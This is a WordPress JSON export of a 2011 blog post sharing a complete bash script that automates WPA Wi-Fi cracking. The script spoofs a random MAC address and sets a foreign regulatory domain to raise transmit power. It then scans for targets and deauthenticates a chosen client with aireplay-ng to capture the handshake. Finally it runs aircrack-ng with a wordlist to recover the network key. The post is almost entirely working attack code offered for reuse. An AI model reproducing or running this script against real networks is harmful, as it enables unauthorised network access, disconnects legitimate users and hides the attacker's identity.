{"id":50,"date":"2011-05-20T11:58:37","date_gmt":"2011-05-20T10:58:37","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=50"},"modified":"2011-07-14T11:24:21","modified_gmt":"2011-07-14T10:24:21","slug":"automated-wpa-cracking-script","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2011\/05\/20\/automated-wpa-cracking-script\/","title":{"rendered":"Automated WPA cracking script"},"content":{"rendered":"

I have wrote an automated WPA cracking script (matts-wpacrack.sh). Let me know if you have any improvements.<\/p>\n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
<\/div><\/td>
#!\/bin\/bash<\/span>
\n# wpacrack.sh v.1.1<\/span>
\n# Create by Matthew Phillips<\/span>
\n# New versions can be downloaded from www.phillips321.co.uk<\/span>
\n#<\/span>
\nVERSION<\/span>="1.1"<\/span>
\n# This tool requires aircrack-ng tools to be installed and run as root<\/span>
\n#<\/span>
\n# ChangeLog....<\/span>
\n# Version 1.1 - Randomises MAC Address on start<\/span>
\n# Version 1.0 - First Release<\/span>
\n
\n#################################################################<\/span>
\n# CHECKING FOR ROOT<\/span>
\n#################################################################<\/span>
\nif<\/span> [<\/span> `<\/span>echo<\/span> -n<\/span> $USER<\/span>`<\/span> !<\/span>= "root"<\/span> ]<\/span>
\nthen<\/span>
\n    echo<\/span> "MESSAGE:"<\/span>
\n    echo<\/span> "MESSAGE: ERROR: Please run as root!"<\/span>
\n    echo<\/span> "MESSAGE:"<\/span>
\n    exit<\/span> 1<\/span>
\nfi<\/span>
\n
\n#################################################################<\/span>
\n# CHECKING TO SEE IF INTERFACE IS PROVIDED<\/span>
\n#################################################################<\/span>
\nif<\/span> [<\/span> -z<\/span> ${1}<\/span> ]<\/span>
\nthen<\/span>
\n    echo<\/span> "MESSAGE: Version number ${VERSION}<\/span>"<\/span>
\n    echo<\/span> "MESSAGE: Usage: `basename ${0}`<\/span> [interface] [BSSID] [channel] [client]"<\/span>
\n    echo<\/span> "MESSAGE: Example #`basename ${0}`<\/span> wlan0 (everything else is optional)"<\/span>
\n    exit<\/span> 1<\/span>
\nelse<\/span>
\n    INTERFACE<\/span>="`echo "${1}" | cut -c 1-6`<\/span>"<\/span>
\nfi<\/span>
\n
\n#################################################################<\/span>
\n# PUT WIFI IN HIGHPOWER AND MONITOR MODE AND RANDOM MAC<\/span>
\n#################################################################<\/span>
\nmacchanger -r<\/span> ${INTERFACE}<\/span>
\niw reg set<\/span> BO
\nsleep<\/span> 3<\/span>
\niwconfig ${INTERFACE}<\/span> txpower 30<\/span>
\nPOWER<\/span>=`<\/span>iwlist ${INTERFACE}<\/span> txpower |<\/span> grep<\/span> Current |<\/span> tr<\/span> -s<\/span> ' '<\/span> |<\/span> cut<\/span> -d<\/span> '('<\/span> -f2<\/span> |<\/span> sed<\/span> -e<\/span> s\/<\/span>')'<\/span>\/\/`<\/span>
\necho<\/span> "MESSAGE: ${INTERFACE}<\/span> power set to ${POWER}<\/span>"<\/span>
\necho<\/span> "MESSAGE: Putting ${INTERFACE}<\/span> in monitor mode"<\/span>
\nairmon-ng start ${INTERFACE}<\/span>
\n
\n#################################################################<\/span>
\n# GET INTERFACE MAC ADDRESS<\/span>
\n#################################################################<\/span>
\nMACADDRESS<\/span>=`<\/span>ifconfig<\/span> ${INTERFACE}<\/span> |<\/span> grep<\/span> ${INTERFACE}<\/span> |<\/span> tr<\/span> -s<\/span> ' '<\/span> |<\/span> cut<\/span> -d<\/span> ' '<\/span> -f5<\/span> |<\/span> cut<\/span> -c<\/span> 1<\/span>-17<\/span>`<\/span>
\n
\n#################################################################<\/span>
\n# CHECK IF BSSID,CHANNEL & TARGETNAME WERE PROVIDED<\/span>
\n#################################################################<\/span>
\nif<\/span> [<\/span> -z<\/span> ${2}<\/span> ]<\/span> ||<\/span> [<\/span> -z<\/span> ${3}<\/span> ]<\/span>; then<\/span>
\n    #################################################################<\/span>
\n    # SHOW VISIBLE WEP NETWORKS<\/span>
\n    #################################################################<\/span>
\n    echo<\/span> "MESSAGE: Will now display all visible WPA networks"<\/span>
\n    echo<\/span> "MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit"<\/span>
\n    read<\/span> -p<\/span> "MESSAGE: Press enter to view networks"<\/span>
\n    airodump-ng --encrypt<\/span> WPA ${INTERFACE}<\/span> # mon0<\/span>
\n
\n    #################################################################<\/span>
\n    # USER INPUT DETAILS FROM AIRODUMP<\/span>
\n    #################################################################<\/span>
\n    while<\/span> true<\/span>
\n    do<\/span>
\n        echo<\/span> -n<\/span> "MESSAGE: Please enter the target BSSID here: "<\/span>
\n        read<\/span> -e<\/span> BSSID
\n        echo<\/span> -n<\/span> "MESSAGE: Please enter the target channel here: "<\/span>
\n        read<\/span> -e<\/span> CHANNEL
\n        echo<\/span> "MESSAGE: Target BSSID            : ${BSSID}<\/span>"<\/span>
\n        echo<\/span> "MESSAGE: Target Channel          : ${CHANNEL}<\/span>"<\/span>
\n        echo<\/span> "MESSAGE: Interface MAC Address   : ${MACADDRESS}<\/span>"<\/span>
\n        echo<\/span> -n<\/span> "MESSAGE: Is this information correct? (y or n): "<\/span>
\n        read<\/span> -e<\/span> CONFIRM
\n        case<\/span> $CONFIRM<\/span> in<\/span>
\n                y|<\/span>Y|<\/span>YES|<\/span>yes<\/span>|<\/span>Yes)<\/span>
\n                break<\/span> ;;<\/span>
\n                *<\/span>)<\/span> echo<\/span> "MESSAGE: Please re-enter information"<\/span> ;;<\/span>
\n        esac<\/span>
\n    done<\/span>
\nfi<\/span>
\n
\n#################################################################<\/span>
\n# CHECK IF THE USER NEEDS TO FIND A CLIENT<\/span>
\n#################################################################<\/span>
\n#if [ -z {4} ]; then<\/span>
\n    #################################################################<\/span>
\n    # SHOW AP CLIENTS<\/span>
\n    #################################################################<\/span>
\n    echo<\/span> "MESSAGE: Will now display all visable clients for ${BSSID}<\/span>"<\/span>
\n    echo<\/span> "MESSAGE: Once you have identified the client you wish to target press Ctrl-C to exit"<\/span>
\n        read<\/span> -p<\/span> "MESSAGE: Press enter to view networks"<\/span>
\n    airodump-ng -c<\/span> ${CHANNEL}<\/span> --bssid<\/span> ${BSSID}<\/span> ${INTERFACE}<\/span>
\n    while<\/span> true<\/span>
\n    do<\/span>
\n        echo<\/span> -n<\/span> "MESSAGE: Please enter the target CLIENT here: "<\/span>
\n        read<\/span> -e<\/span> CLIENT
\n        echo<\/span> "MESSAGE: Target Client           : ${CLIENT}<\/span>"<\/span>
\n        echo<\/span> -n<\/span> "MESSAGE: Is this information correct? (y or n): "<\/span>
\n                read<\/span> -e<\/span> CONFIRM
\n                case<\/span> $CONFIRM<\/span> in<\/span>
\n                        y|<\/span>Y|<\/span>YES|<\/span>yes<\/span>|<\/span>Yes)<\/span>
\n                                break<\/span> ;;<\/span>
\n                        *<\/span>)<\/span> echo<\/span> "MESSAGE: Please re-enter information"<\/span> ;;<\/span>
\n                esac<\/span>
\n    done<\/span>
\n#fi<\/span>
\n
\n#################################################################<\/span>
\n# START DEAUTH TO CAPTURE WPA HANDSHAKE<\/span>
\n#################################################################<\/span>
\necho<\/span> "MESSAGE: Starting De-auth"<\/span>
\necho<\/span> "MESSAGE: Once hand shake has been captured press Ctrl-C to exit"<\/span>
\nread<\/span> -p<\/span> "MESSAGE: Press enter to attempt handshake capture"<\/span>
\nxterm -e<\/span> "sleep 1 && aireplay-ng -0 20 -a ${BSSID}<\/span> -c ${CLIENT}<\/span> ${INTERFACE}<\/span>"<\/span> &<\/span>
\nairodump-ng -c<\/span> ${CHANNEL}<\/span> --bssid<\/span> ${BSSID}<\/span> -w<\/span> psk ${INTERFACE}<\/span>
\n
\n#################################################################<\/span>
\n# ATTEMPTING TO CRACK<\/span>
\n#################################################################<\/span>
\naircrack-ng -w<\/span> wpa.txt -b<\/span> ${BSSID}<\/span> psk*<\/span>.cap -l<\/span> key.txt
\n
\n#################################################################<\/span>
\n# OUTPUT BSSID AND KEY<\/span>
\n#################################################################<\/span>
\nKEY<\/span>=`<\/span>cat<\/span> key.txt`<\/span>
\necho<\/span> "MESSAGE: Target BSSID            : ${BSSID}<\/span>"<\/span>
\necho<\/span> "MESSAGE: Target Key              : ${KEY}<\/span>"<\/span>
\n
\n#################################################################<\/span>
\n# DELETE FILES CREATED DURING WEP CRACKING<\/span>
\n#################################################################<\/span>
\nairmon-ng stop mon0
\nrm<\/span> psk*<\/span> key.txt
\nexit<\/span> 0<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"

I have wrote an automated WPA cracking script (matts-wpacrack.sh). Let me know if you have any improvements. 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140#!\/bin\/bash # wpacrack.sh v.1.1 # Create by Matthew Phillips # New versions can be downloaded from www.phillips321.co.uk # VERSION="1.1" # This tool requires aircrack-ng tools to be installed and run as root # # ChangeLog…. # Version 1.1 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,4],"tags":[37,36,5,25,26,23,35],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/50"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=50"}],"version-history":[{"count":7,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/50\/revisions"}],"predecessor-version":[{"id":194,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/50\/revisions\/194"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=50"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=50"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=50"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}